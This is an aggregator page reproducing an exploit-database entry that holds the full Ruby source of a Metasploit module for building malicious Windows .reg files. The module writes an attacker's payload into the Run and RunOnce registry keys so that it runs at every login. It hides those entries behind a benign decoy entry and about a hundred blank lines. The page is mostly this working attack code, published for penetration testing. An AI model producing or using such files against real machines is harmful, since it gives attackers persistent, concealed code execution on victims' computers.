惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

N
News and Events Feed by Topic
爱范儿
爱范儿
Blog — PlanetScale
Blog — PlanetScale
The GitHub Blog
The GitHub Blog
C
Check Point Blog
小众软件
小众软件
I
InfoQ
罗磊的独立博客
H
Hackread – Cybersecurity News, Data Breaches, AI and More
Engineering at Meta
Engineering at Meta
酷 壳 – CoolShell
酷 壳 – CoolShell
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
Hugging Face - Blog
Hugging Face - Blog
博客园 - 三生石上(FineUI控件)
MyScale Blog
MyScale Blog
The Cloudflare Blog
Last Week in AI
Last Week in AI
腾讯CDC
Y
Y Combinator Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
雷峰网
雷峰网
B
Blog
T
Tailwind CSS Blog
MongoDB | Blog
MongoDB | Blog
A
About on SuperTechFans
D
Docker
博客园 - 司徒正美
博客园_首页
Recent Announcements
Recent Announcements
D
DataBreaches.Net
阮一峰的网络日志
阮一峰的网络日志
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
G
Google Developers Blog
Microsoft Security Blog
Microsoft Security Blog
F
Fortinet All Blogs
Stack Overflow Blog
Stack Overflow Blog
aimingoo的专栏
aimingoo的专栏
N
Netflix TechBlog - Medium
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
博客园 - 聂微东
GbyAI
GbyAI
Jina AI
Jina AI
V
V2EX
Vercel News
Vercel News
IT之家
IT之家
WordPress大学
WordPress大学
M
MIT News - Artificial intelligence
NISL@THU
NISL@THU
V
Visual Studio Blog
C
Cybersecurity and Infrastructure Security Agency CISA

The Exploit Database - CXSecurity.com

Joomla Page Builder CK <= 3.5.10 - Unauthenticated Arbitrary File Upload (RCE) Microsoft Edge <= 150.0.4078.48 (Chromium-based) Type Confusion RCE PraisonAI CodeAgent <= 1.6.77 Remote Code Execution (RCE) via Unsandboxed LLM Code Execution XenForo XSS CVE Scanner — Passive Detection Tool for CVE-2026-35055, CVE-2026-35054, CVE-2026-35057 ePati Antikor NGFW 2.0.1301 Authentication Bypass Apache HTTP Server 2.4.66 mod_http2 Double-Free Denial of Service NiceGUI 3.6.1 Path Traversal - CXSecurity.com Green Hills INTEGRITY RTOS IPCOMShell TELNET Format String Vulnerability - Realistic Full Chain Attack on F-16 Avionics (Ground Maintenance Scenario) OpenClaw < 2026.3.28 Discord Text Approval Authorization Bypass Kanboard <= 1.2.50 Authenticated SQL Injection OpenClaw tools.exec.safeBins <= 2026.2.22 Remote Code Execution Google Chrome < 145.0.7632.75 - CSSFontFeatureValuesMap Use-After-Free Siklu EtherHaul Series EH-8010 Remote Command Execution aiohttp 3.9.1 Directory Traversal - CXSecurity.com deephas <= 1.0.7 - Prototype Pollution leading to Arbitrary Code Execution / DoS LangChain Core - Serialization Injection to Jinja2 SSTI/RCE AVideo Notify.ffmpeg.json.php Unauthenticated Remote Code Execution Birth Chart Compatibility WordPress Plugin 2.0 Full Path Disclosure dotCMS 25.07.02-1 Authenticated Blind SQL Injection Mbed TLS 3.6.4 Use-After-Free - CXSecurity.com MonstaFTP Unauthenticated File Upload - CXSecurity.com Flowise 3.0.4 Remote Code Execution Swagger UI 1.0.3 Cross-Site Scripting (XSS) Vvveb CMS 1.0.5 Remote Code Execution SugarCRM unauthenticated Remote Code Execution (RCE) Belkin F9K1009 F9K1010 2.00.04/2.00.09 Hard Coded Credentials Commvault CLI Argument Injection / Traversal / Remote Code Execution Sitecore XP Post-Authentication File Upload Ultimate Member WordPress Plugin 2.6.6 Privilege Escalation Ghost CMS 5.59.1 Arbitrary File Read DOS Baby POP3 Server 1.04 Tenda AC20 16.03.08.12 Command Injection Projectworlds Online Admission System 1.0 SQL Injection JetBrains TeamCity 2023.11.4 Authentication Bypass Cisco ISE 3.0 Remote Code Execution Pandora ITSM Authenticated Command Injection Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated RCE Malicious XDG Desktop File - CXSecurity.com Langflow 1.2.x Remote Code Execution (RCE) Microsoft Excel LTSC 2024 Remote Code Execution Adobe ColdFusion 2023.6 Remote File Read Microsoft PowerPoint 2019 Remote Code Execution (RCE) Discourse 3.2.x Anonymous Cache Poisoning VBA Bypass Windows Defender Exploit PoC Social Warfare WordPress Plugin 3.5.2 Remote Code Execution (RCE) PHP CGI Module 8.3.4 Remote Code Execution Grandstream GSD3710 1.0.11.13 Stack Overflow Parrot and DJI variants Drone OSes Kernel Panic Exploit
Malicious Windows Registration Entries (.reg) File
2025-07-24 · via The Exploit Database - CXSecurity.com

Malicious Windows Registration Entries (.reg) File

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super( update_info( info, 'Name' => 'Malicious Windows Registration Entries (.reg) File', 'Description' => %q{ This module creates a Windows Registration Entries (.reg) file which adds the specified payload to the Windows Registry. The payload runs upon Windows login for the current user. If the user has elevated privileges when opening the file, the payload will run upon login when any user logs in. The user will receive a warning prompt to confirm Registry changes when opening the file. }, 'License' => MSF_LICENSE, 'Author' => [ 'bcoles' ], 'References' => [ ['URL', 'https://support.microsoft.com/en-us/topic/how-to-add-modify-or-delete-registry-subkeys-and-values-by-using-a-reg-file-9c7f37cf-a5e9-e1cd-c4fa-2a26218a1a23'], ['URL', 'https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys'], ['URL', 'https://learn.microsoft.com/en-us/windows-hardware/drivers/install/runonce-registry-key'], ['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE], ['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER], ], 'Arch' => [ARCH_CMD], 'Platform' => 'win', 'Payload' => { 'Space' => 244, # 255 minus "cmd.exe /c " prefix length 'BadChars' => "\x00", 'DisableNops' => true }, 'Targets' => [ [ 'Microsoft Windows 2000 or newer', { 'RegistryEditorVersion' => '5.00' } ], ], 'Privileged' => false, 'DisclosureDate' => '1995-08-24', 'DefaultTarget' => 0, 'DefaultOptions' => { 'DisablePayloadHandler' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [SCREEN_EFFECTS] } ) ) register_options( [ OptString.new('FILENAME', [true, 'The registration entries file name.', 'msf.reg']), ] ) register_advanced_options([ OptBool.new('AddToCurrentUserWindowsCurrentVersionRun', [false, 'Add payload to login for current user.', true]), OptBool.new('AddToCurrentUserWindowsCurrentVersionRunOnce', [false, 'Same as AddToCurrentUserWindowsCurrentVersionRun, but the registry key is deleted after use.', false]), OptBool.new('AddToLocalMachineWindowsCurrentVersionRun', [false, 'Add payload to login for all users. The user will see a vague error message if they do not have the necessary permissions, but all other entries are still added successfully.', true]), OptBool.new('AddToLocalMachineWindowsCurrentVersionRunOnce', [false, 'Same as AddToLocalMachineWindowsCurrentVersionRun, but the registry key is deleted after use.', false]), OptBool.new('PrependBenignEntry', [false, 'Prepend a benign registry entry at the start of the file.', true]), OptInt.new('PrependNewLines', [false, 'Prepend new lines before the first malicious registry entry.', 100]), ]) end # Create a registry entry in Windows .reg file format def registry_entry(path, type, key, value) # https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-element-size-limits raise "Registry key '#{type}' length (#{key.length}) is too long (max 255)" if key.length > 255 raise "Registry value '#{value}' length (#{value.length}) is too long (max 16,300)" if value.length > 16_300 # https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-value-types raise "Unsupported key type '#{type}', excepted REG_SZ" unless type == 'REG_SZ' escaped_value = value.gsub('\\', '\\\\\\').gsub('"', '\\\"') reg_entry = "[#{path}]\r\n" reg_entry << "\"#{key}\"=\"#{escaped_value}\"\r\n" vprint_status("Created registry entry:\n#{reg_entry}") reg_entry end # Format commands for use with the appropriate interpreter def format_commands(command_string) # Strip preceding whitespace as this would prevent execution raw_cmd = command_string.to_s.gsub(/^\s*/, '') # If the payload contains " & " we presume it is a command string. # # TODO: Change this once Metasploit is able to inform a module that # the specified ARCH_CMD payload is a string of commands # (not a single command). if raw_cmd.include?(' & ') cmd = "cmd.exe /c #{raw_cmd}" else cmd = raw_cmd end raise "Command length (#{cmd.length}) is too long (max 255)" if cmd.length > 255 cmd end def exploit # File structure: # File header string # Benign registry entry (optional) # Visual whitespace padding (optional) # HKCU entries # HKLM entries (optional) reg = "Windows Registry Editor Version #{target['RegistryEditorVersion']}\r\n" reg << "\r\n" reg_entries = [] if datastore['PrependBenignEntry'] path = "HKEY_CURRENT_USER\\Software\\#{rand_text_alphanumeric(10..16)}" key = rand_text_alphanumeric(10..16) reg << registry_entry( path, 'REG_SZ', key, rand_text_alphanumeric(10..16) ) reg_entries << path + '\\' + key end reg << "\r\n" * datastore['PrependNewLines'] if datastore['AddToCurrentUserWindowsCurrentVersionRun'] path = 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run' key = rand_text_alphanumeric(10..16) reg << registry_entry( path, 'REG_SZ', key, format_commands(payload.encoded) ) reg_entries << path + '\\' + key end if datastore['AddToCurrentUserWindowsCurrentVersionRunOnce'] path = 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce' key = rand_text_alphanumeric(10..16) reg << registry_entry( path, 'REG_SZ', key, format_commands(payload.encoded) ) reg_entries << path + '\\' + key end if datastore['AddToLocalMachineWindowsCurrentVersionRun'] path = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' key = rand_text_alphanumeric(10..16) reg << registry_entry( path, 'REG_SZ', key, format_commands(payload.encoded) ) reg_entries << path + '\\' + key end if datastore['AddToLocalMachineWindowsCurrentVersionRunOnce'] path = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce' key = rand_text_alphanumeric(10..16) reg << registry_entry( path, 'REG_SZ', key, format_commands(payload.encoded) ) reg_entries << path + '\\' + key end unless reg_entries fail_with(Failure::BadConfig, 'No registry entries were created! Check module advanced options.') end file_create(reg) print_status("This file will create the following registry keys:\n#{reg_entries.join("\n")}") rescue StandardError => e print_error(e.message) end end



 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}